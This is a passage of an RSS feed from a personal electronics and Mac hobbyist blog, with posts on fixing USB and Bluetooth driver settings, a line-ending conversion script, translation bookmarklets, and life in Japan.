		<pubDate>Sat, 03 Mar 2007 18:11:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=37</guid>
		<description><![CDATA[I&#8217;ve had to do this a few times so I thought I&#8217;d post it here to save me remembering. I found this nicely typed up version here (gist of it is below). Removing the VID entries from the registry will cause them to be redetected at restart. 1. Click Start and click Run. Type regedit [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve had to do this a few times so I thought I&#8217;d post it here to save me remembering. I found this nicely typed up version <a href="http://www.daniweb.com/techtalkforums/thread7700.html">here</a> (gist of it is below).<br />
<blockquote>Removing the VID entries from the registry will cause them to be redetected at restart.</p>
<p>1. Click Start and click Run. Type regedit and click OK. The Registry Editor window will open.</p>
<p>2. Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\USB.</p>
<p>3. Highlight and delete all the VID_&#8230;. entries for usb devices that you cannot identify. Remember not to delete the entries mentioned above.</p>
<p><span style="font-style: italic;">You may not have permssion to delete keys, do the following.</span><br /><span style="font-style: italic;">Permissions may be set allowing the deletion of the VID_ entries by following the steps below:</span></p>
<p>a) Right-click the key to be deleted, and then click Permissions. The VID_&#8230; Permissions window will open.<br />b) With Everyone highlighted in the Group or User name section, select Full Control in the Permissions section.<br />c) Click Apply, and then click OK.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=37</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Soldering videos on Digg</title>
		<link>http://www.brokentoaster.com/blog/?p=36</link>
		<comments>http://www.brokentoaster.com/blog/?p=36#comments</comments>
		<pubDate>Sat, 17 Feb 2007 10:26:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=36</guid>
		<description><![CDATA[Well I don&#8217;t think It&#8217;ll make the front page but someone posted my videos to Digg. Good to see some other people appreciating my work and hopefully adding some work or comments of there own.read more &#124; digg story]]></description>
				<content:encoded><![CDATA[<p>Well I don&#8217;t think It&#8217;ll make the front page but someone posted my videos to Digg. Good to see some other people appreciating my work and hopefully adding some work or comments of there own.<br /></br><br /></br><a href='http://www.youtube.com/profile?user=thelastnameavailable'>read more</a> | <a href="http://digg.com/mods/Soldering_videos_galore" class="broken_link">digg story</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=36</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=35</link>
		<comments>http://www.brokentoaster.com/blog/?p=35#comments</comments>
		<pubDate>Sat, 20 Jan 2007 18:31:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=35</guid>
		<description><![CDATA[Bluetooth Headset fix. For a long time I&#8217;ve had an issue with my Bluetooth Headset in OSX. It worked perfectly on other macs but not mine. It would work fine if I turned it on and then plugged in the bluetooth dongle into the computer. If I plugged the dongle in first and then powered [...]]]></description>
				<content:encoded><![CDATA[<h3 class="post-title"> Bluetooth Headset fix.<br />    </h3>
<p>For a long time I&#8217;ve had an issue with my Bluetooth Headset in OSX. It worked perfectly on other macs but not mine.</p>
<p>It would work fine if I turned it on and then plugged in the bluetooth dongle into the computer. If I plugged the dongle in first and then powered up the headset it would connect to the computer and then hang waiting for a RFCom channel <i>kernel[0]: [IOBluetoothSCOAudioDevice][waitForRFCOMMChannel] &#8211; Waiting.</i> The Headset itself would then shutdown (which is similar but very different to the expected behaviour of going into standby mode)</p>
<p>I finally figured out how to fix this ( Seems obvious now).In the file /var/root/Library/Prefernces/blued.plist you need to chance the value of the keys AudioGatewayRFCOMMChannelID and AudioGatewayServiceRecordHandle. My original non working values were 11 for both so I changed them both to 1 and now everything works perfectly. To edit this file you&#8217;ll need to do the following&#8230;</p>
<p><b>In terminal&#8230;</b>
<pre>sudo sh (or su)<br />cp /var/root/Library/Preferences/blued.plist ./<br />chown <username> blued.plist<br />exit<br />open blued.plist<br /></pre>
<p><b> In Property List Editor &#8230; </b>
<ol>
<li>Change AudioGatewayRFCOMMChannelID value to 1</li>
<p>
<li>Change AudioGatewayServiceRecordHandle value to 1</li>
<p>
<li>Save blued.plist</li>
<p></ol>
<p><b> Back in Terminal&#8230;</b>
<pre>sudo sh ( or su)<br />chown root blued.plist<br />cp blued.plist /var/root/Library/Preferences/<br />exit</pre>
<p>and your done! <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=35</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=34</link>
		<comments>http://www.brokentoaster.com/blog/?p=34#comments</comments>
		<pubDate>Mon, 04 Dec 2006 22:42:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=34</guid>
		<description><![CDATA[I managed to make the Make magazines open source gift guide! See if you can spot my project in the picture. Long time no post! oh well that&#8217;s just the way it goes moving countries. I&#8217;m almost set up again in England. Living in Oxford now and enjoying a new job that doesn&#8217;t involve teaching [...]]]></description>
				<content:encoded><![CDATA[<p>I managed to make the Make magazines open source gift guide! See if you can spot my project in the picture.</p>
<p><img src="http://downloads.oreilly.com/make/osgg/osgg.jpg"></p>
<p>Long time no post! oh well that&#8217;s just the way it goes moving countries. I&#8217;m almost set up again in England. Living in Oxford now and enjoying a new job that doesn&#8217;t involve teaching English (fun though it was).</p>
<p>I managed to pick up four distinctive excellence awards in the Circuit Cellar competition so hopefully I&#8217;ll have some more writing opportunities in the new year, and if not I can always write documentation for my growing list of other projects.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=34</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Last Day in Japan :(</title>
		<link>http://www.brokentoaster.com/blog/?p=33</link>
		<comments>http://www.brokentoaster.com/blog/?p=33#comments</comments>
		<pubDate>Sun, 10 Sep 2006 23:45:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=33</guid>
		<description><![CDATA[Well this is my last blog entry for Japan. It has been a great year, and I picked up lots of great junk. My favourite store by far was &#8220;Super Junk&#8221;. If your in Tokyo its on your left as you walk up towards the Akihabara main drag from Ochanomizu metro station. There is also [...]]]></description>
				<content:encoded><![CDATA[<p>Well this is my last blog entry for Japan. It has been a great year, and I picked up lots of great junk. My favourite store by far was &#8220;Super Junk&#8221;. If your in Tokyo its on your left as you walk up towards the Akihabara main drag from Ochanomizu metro station. There is also a great 2nd hand test equipment store nearby as well. I guess I&#8217;ll miss Japan and Akihabara, but I think I&#8217;ve got enough reels of surface mount resistors and other surplus electronics  to keep me busy for a while to come. <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Next stop London&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=33</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix audio output selection in Mac OS X 10.4.x</title>
		<link>http://www.brokentoaster.com/blog/?p=32</link>
		<comments>http://www.brokentoaster.com/blog/?p=32#comments</comments>
		<pubDate>Sun, 23 Jul 2006 00:55:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=32</guid>
		<description><![CDATA[Okay so thank god I have finally got to the bottom of why flash player, real player and many other apps ignore the default sound output setting and try to select my bluetooth headset.  The fix is here and here If an app in in Mac OS requests a sound device but the audio resolution is too [...]]]></description>
				<content:encoded><![CDATA[<p>Okay so thank god I have finally got to the bottom of why flash player, real player and many other apps ignore the default sound output setting and try to select my bluetooth headset. </p>
<p>The fix is <a href="http://docs.info.apple.com/article.html?artnum=300832" class="broken_link">here</a> and <a href="http://www.macosxhints.com/article.php?story=20060111002800782&amp;lsrc=osxh">here</a></p>
<p>If an app in in Mac OS requests a sound device but the audio resolution is too high (like 96kHz) instead of changing the resolution of the channel or upsampling the sound or reporting some kind of useful error to the user it simply doesn&#8217;t play sound or in my unusual case it selects the next sound device.</p>
<p>This was a hard to find fix because most people reported it as sound not playing at all because they only had one output device.</p>
<p>Thanks for nothing Apple <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  hope this is on your lepoard TODO list. Oh yeah thanks to every company that didn&#8217;t even acknowledge my bug report. Even an automated email saying &#8220;we have recieved your report and ignored it&#8221; would have been better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=32</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=31</link>
		<comments>http://www.brokentoaster.com/blog/?p=31#comments</comments>
		<pubDate>Sun, 02 Jul 2006 09:35:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=31</guid>
		<description><![CDATA[How to peel cooked potato skin in one shot.finally the internet is useful. It&#8217;s odd that I would move to Japan and then only watch Japanese TV on the internet . Oh well life&#8217;s funny like that.]]></description>
				<content:encoded><![CDATA[<p><b>How to peel cooked potato skin in one shot.</b><br /><object width="425" height="350"><param name="movie" value="http://youtube.com/v/37GVvxcyz6I"></param><embed src="http://youtube.com/v/37GVvxcyz6I" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />finally the internet is useful. It&#8217;s odd that I would move to Japan and then only watch Japanese TV on the internet <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Oh well life&#8217;s funny like that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=31</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=30</link>
		<comments>http://www.brokentoaster.com/blog/?p=30#comments</comments>
		<pubDate>Sun, 02 Jul 2006 08:26:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=30</guid>
		<description><![CDATA[Soldering VideosThought I&#8217;d finally upload my soldering videos to help anyone learning to solder&#8230; (perhaps its an example what not to do )]]></description>
				<content:encoded><![CDATA[<p><b>Soldering Videos</b><br /><object width="425" height="350"><param name="movie" value="http://youtube.com/v/kAADFKkmqUg"></param><embed src="http://youtube.com/v/kAADFKkmqUg" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />Thought I&#8217;d finally upload my soldering videos to help anyone learning to solder&#8230; (perhaps its an example what not to do <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=30</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Host your own photocasts.</title>
		<link>http://www.brokentoaster.com/blog/?p=29</link>
		<comments>http://www.brokentoaster.com/blog/?p=29#comments</comments>
		<pubDate>Thu, 08 Jun 2006 11:40:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=29</guid>
		<description><![CDATA[Great piece of software at http://globs.org/articles.php?lng=en&#38;pg=265allows you to host your iPhoto libraries and publish photocasts. Nice if you have lots of bandwidth and are too lazy to upload all your photos too flickr. ( which is pretty much my situation )]]></description>
				<content:encoded><![CDATA[<p>Great piece of software at <a href="http://globs.org/articles.php?lng=en&#038;pg=265">http://globs.org/articles.php?lng=en&amp;pg=265</a><br />allows you to host your iPhoto libraries and publish photocasts.</p>
<p>Nice if you have lots of bandwidth and are too lazy to upload all your photos too flickr. ( which is pretty much my situation <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />   )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=29</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.brokentoaster.com/blog/?p=28</link>
		<comments>http://www.brokentoaster.com/blog/?p=28#comments</comments>
		<pubDate>Thu, 08 Jun 2006 11:27:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=28</guid>
		<description><![CDATA[http://media.revver.com/broadcast/23037/video.mov(Firefox propaganda movie no longer embedded)]]></description>
				<content:encoded><![CDATA[<p>http://media.revver.com/broadcast/23037/video.mov<br />(Firefox propaganda movie no longer embedded)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=28</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>what the Flickr?</title>
		<link>http://www.brokentoaster.com/blog/?p=27</link>
		<comments>http://www.brokentoaster.com/blog/?p=27#comments</comments>
		<pubDate>Sat, 03 Jun 2006 12:17:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=27</guid>
		<description><![CDATA[ButterflyMP3_LCDAdapter &#8211; 4, originally uploaded by Brokentoaster. Dunno what&#8217;s been up with flicker lately but it screwed up all my photos for the last few days. No biggie. I guess that&#8217;s what you get for using beta ( or now gamma) software.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/nicklott/152282712/" title="photo sharing"><img src="http://static.flickr.com/45/152282712_b234f59b44_t.jpg" class="flickr-photo" alt="ButterflyMP3_LCDAdapter - 4" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/nicklott/152282712/">ButterflyMP3_LCDAdapter &#8211; 4</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>Dunno what&#8217;s been up with flicker lately but it screwed up all my photos for the last few days. No biggie. I guess that&#8217;s what you get for using beta ( or now gamma) software. <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=27</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New PCBs arrived</title>
		<link>http://www.brokentoaster.com/blog/?p=26</link>
		<comments>http://www.brokentoaster.com/blog/?p=26#comments</comments>
		<pubDate>Wed, 24 May 2006 00:51:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=26</guid>
		<description><![CDATA[ButterflyMP3_LCDAdapter &#8211; 4, originally uploaded by Brokentoaster. all right ! its always a good day when the postman turns up with a package from Bulgaria. My PCBs for my CC entries have arrived so its time to do some serious soldering. Here&#8217;s a picture of my LCD adapter for a 4096 colour 128&#215;128 pixel display. [...]]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<img src="http://static.flickr.com/45/152134630_b234f59b44_t.jpg" class="flickr-photo" alt="ButterflyMP3_LCDAdapter - 4" /><br />	<span class="flickr-caption">		ButterflyMP3_LCDAdapter &#8211; 4,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>all right ! its always a good day when the postman turns up with a package from Bulgaria. My PCBs for my CC entries have arrived so its time to do some serious soldering. Here&#8217;s a picture of my LCD adapter for a  4096 colour 128&#215;128 pixel display. Now all I have to do is write some code to support it&#8230;<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=26</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>good old reliable MS</title>
		<link>http://www.brokentoaster.com/blog/?p=25</link>
		<comments>http://www.brokentoaster.com/blog/?p=25#comments</comments>
		<pubDate>Wed, 26 Apr 2006 16:18:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=25</guid>
		<description><![CDATA[HongKong(022), originally uploaded by Brokentoaster. what can I say. I took this photo in a Hong Kong subway station on the weekend. I&#8217;m glad the trains still have someone human driving them cos I don&#8217;t want to be onboard when they need to reboot]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/nicklott/135426466/" title="photo sharing"><img src="http://static.flickr.com/54/135426466_4d9b1f49eb_t.jpg" class="flickr-photo" alt="HongKong(022)" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/nicklott/135426466/">HongKong(022)</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>what can I say. I took this photo in a Hong Kong subway station on the weekend. I&#8217;m glad the trains still have someone human driving them cos I don&#8217;t want to be onboard when they need to reboot <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=25</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spring is here</title>
		<link>http://www.brokentoaster.com/blog/?p=24</link>
		<comments>http://www.brokentoaster.com/blog/?p=24#comments</comments>
		<pubDate>Wed, 05 Apr 2006 06:27:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=24</guid>
		<description><![CDATA[blossoms on the river bank, originally uploaded by Brokentoaster. Spring is here and Japan has turned pink. This answers my question about what the hell was with the crazy pink wallpaper on my PSP this month This photo was taken on Sunday looking down a river bank near Asakadai / Kita-Asaka station.]]></description>
				<content:encoded><![CDATA[<style type="text/css">.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame">	<a href="http://www.flickr.com/photos/nicklott/123532811/" title="photo sharing"><img src="http://static.flickr.com/37/123532811_17e0c81a6c_t.jpg" class="flickr-photo" alt="blossoms on the river bank" /></a><br />	<span class="flickr-caption">		<a href="http://www.flickr.com/photos/nicklott/123532811/">blossoms on the river bank</a>,<br /> originally uploaded by <a href="http://www.flickr.com/people/nicklott/">Brokentoaster</a>.	</span></div>
<p>Spring is here and Japan has turned pink. This answers my question about what the hell was with the crazy pink wallpaper on my PSP this month <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <br />This photo was taken on Sunday looking down a river bank near Asakadai / Kita-Asaka  station.<br clear="all" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=24</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AVR ISP programmer on the Mac</title>
		<link>http://www.brokentoaster.com/blog/?p=23</link>
		<comments>http://www.brokentoaster.com/blog/?p=23#comments</comments>
		<pubDate>Sun, 26 Mar 2006 15:45:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=23</guid>
		<description><![CDATA[For anyone using a Mac for AVR development, just thought I&#8217;d say I&#8217;ve managed to get an ISPAVRU1 from ERE CO., LTD. to work with OS 10.4 It uses a standard FTDI driver but ERE use their own Device id (0xCEA0 or 52896 ). I simply modified the Info.plist file in /System/Library/Extensions/FTDIUSBSerialDriver.kext/Contents/ to contain the [...]]]></description>
				<content:encoded><![CDATA[<p>For anyone using a Mac for AVR development, just thought I&#8217;d say I&#8217;ve managed to get an ISPAVRU1 from <a href="http://www.ereshop.com/">ERE CO., LTD.</a> to work with OS 10.4</p>
<p>It uses a standard FTDI driver but ERE use their own Device id (0xCEA0 or 52896 ). I simply modified the Info.plist file in <br /><i>/System/Library/Extensions/FTDIUSBSerialDriver.kext/Contents/</i> to contain the following extra key in the right place (under IO kit personalities)&#8230;..</p>
<p><code>            &lt;key&gt;ISPAVRU1&lt;/key&gt;<br />                &lt;dict&gt;<br />                        &lt;key&gt;CFBundleIdentifier&lt;/key&gt;<br />                        &lt;string&gt;com.FTDI.driver.FTDIUSBSerialDriver&lt;/string&gt;<br />                        &lt;key&gt;IOClass&lt;/key&gt;<br />                        &lt;string&gt;FTDIUSBSerialDriver&lt;/string&gt;<br />                        &lt;key&gt;IOProviderClass&lt;/key&gt;<br />                        &lt;string&gt;IOUSBInterface&lt;/string&gt;<br />                        &lt;key&gt;bConfigurationValue&lt;/key&gt;<br />                        &lt;integer&gt;1&lt;/integer&gt;<br />                        &lt;key&gt;bInterfaceNumber&lt;/key&gt;<br />                        &lt;integer&gt;0&lt;/integer&gt;<br />                        &lt;key&gt;bcdDevice&lt;/key&gt;<br />                        &lt;integer&gt;1024&lt;/integer&gt;<br />                        &lt;key&gt;idProduct&lt;/key&gt;<br />                        &lt;integer&gt;52896&lt;/integer&gt;<br />                        &lt;key&gt;idVendor&lt;/key&gt;<br />                        &lt;integer&gt;1027&lt;/integer&gt;<br />                &lt;/dict&gt;</code></p>
<p> If the driver is loaded correctly you should be able to see something like the following in your /dev/ directory.</p>
<p><i>/dev/cu.usbserial-ER051111  <br />/dev/tty.usbserial-ER051111</i></p>
<p>I use this command line with avrdude to talk to it. <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br />avrdude -p m169 -P /dev/cu.usbserial-ER051111 -c avrisp2 -t</p>
<p>I&#8217;d make a complete modified driver package but I can&#8217;t be bothered figuring out how to use the pax archiver to re wrap things back uip again.</p>
<p>Hope someone finds this useful <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=23</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dos 2 unix converter</title>
		<link>http://www.brokentoaster.com/blog/?p=22</link>
		<comments>http://www.brokentoaster.com/blog/?p=22#comments</comments>
		<pubDate>Sun, 05 Mar 2006 16:39:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=22</guid>
		<description><![CDATA[quick script to convert win32 txt to unix CRLF -> LF #!/bin/shfor filedo perl -pi.bak -e &#8216;s/\r\n?/\n/g;&#8217; $filedone]]></description>
				<content:encoded><![CDATA[<p>quick script to convert win32 txt to unix CRLF -> LF</p>
<p>#!/bin/sh<br />for file<br />do<br />        perl -pi.bak -e &#8216;s/\r\n?/\n/g;&#8217; $file<br />done</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=22</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick Backup</title>
		<link>http://www.brokentoaster.com/blog/?p=21</link>
		<comments>http://www.brokentoaster.com/blog/?p=21#comments</comments>
		<pubDate>Sun, 05 Mar 2006 15:10:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=21</guid>
		<description><![CDATA[Quick backup command. thought I&#8217;d put it here before i forget it. just gzips and tars everythingin directory. tar zcvf ../backup`date +%y%m%d%H%M%S`.tgz .]]></description>
				<content:encoded><![CDATA[<p>Quick backup command. thought I&#8217;d put it here before i forget it. just gzips and tars everythingin directory. </p>
<p>tar zcvf ../backup`date +%y%m%d%H%M%S`.tgz . </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=21</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Translate buttons for Safari</title>
		<link>http://www.brokentoaster.com/blog/?p=20</link>
		<comments>http://www.brokentoaster.com/blog/?p=20#comments</comments>
		<pubDate>Thu, 26 Jan 2006 04:31:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=20</guid>
		<description><![CDATA[A bit of mucking about today and I adapted my Del.icio.us buttons to work with google translate. You can grab this like here and drag it to your tool bar to translate any japanese page into english. Edit the &#8220;langpair&#8221; option in the bookmark to change languages you could try this one using www.rikai.com for [...]]]></description>
				<content:encoded><![CDATA[<p>A bit of mucking about today and I adapted my Del.icio.us buttons to work with google translate.</p>
<p>You can grab this like <a href="javascript:location.href='http://www.google.com/translate?u='+encodeURIComponent(location.href)+'&#038;langpair=ja%7Cen&#038;hl=en&#038;ie=UTF8'"> here</a> and drag it to your tool bar to translate any japanese page into english.</p>
<p>Edit the &#8220;langpair&#8221; option in the bookmark to change languages</p>
<p>you could try <a href="javascript:location.href='http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri='+encodeURIComponent(location.href)">this one</a> using <a href="http://www.rikai.com/">www.rikai.com</a> for mouse over translation.</p>
<p>URL is below</br><br />javascript:location.href=&#8217;http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri=&#8217;+encodeURIComponent(location.href)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=20</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google memory search</title>
		<link>http://www.brokentoaster.com/blog/?p=19</link>
		<comments>http://www.brokentoaster.com/blog/?p=19#comments</comments>
		<pubDate>Wed, 25 Jan 2006 03:56:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=19</guid>
		<description><![CDATA[Had an idea for a great Instant messenger add on app. It would be wicked to have something like google adwords for IM, but instead of ads, showing relevant excerpts from past chats and web history. Essentially google for your brain. So as you chat about the best way to skin a cat you can [...]]]></description>
				<content:encoded><![CDATA[<p>Had an idea for a great Instant messenger add on app. It would be wicked to have something like google adwords for IM, but instead of ads, showing relevant excerpts from past chats and web history. </p>
<p>Essentially google for your brain.</p>
<p>So as you chat about the best way to skin a cat you can have a side window showing the time you talked about cat skinning with your uncle Owswald, and where you can buy cat skinning tools, and web pages about cat skinning. The trick of course is deciding what is relevant and doing it in a non invasive manner.  Maybe google could do this, maybe thats the future of http://www.google.com/talk/ (yet another IM client).</p>
<p>Why limit just to IM why not  live search your whole computing experience?</p>
<p>What would distinguish this from existing desktop searching (google desktop/ yahoo/ spotlight) is that it would be live updating and passive ( no user effort ) perhaps something that hooks into standard edit boxes the way the system wide spellcheck does in Mac OSX.</p>
<p>Only if you could make it so the user didn&#8217;t know they were using it would it be useful. If the user has to think about searching then the product is dead because as soon as I think about searching  I may as well do a full search, but if its just there like a cup of coffee on your desk and you sip with out thinking then it would work..</p>
<p>perhaps this will be in OS X 10.6 .. Spotlight 2 ( the version that works <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Today is defiantly one of those verbal diarrhea days the ideas keep coming no time to filter&#8230;. oh well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=19</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Etoire in Snow</title>
		<link>http://www.brokentoaster.com/blog/?p=18</link>
		<comments>http://www.brokentoaster.com/blog/?p=18#comments</comments>
		<pubDate>Wed, 25 Jan 2006 02:30:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=18</guid>
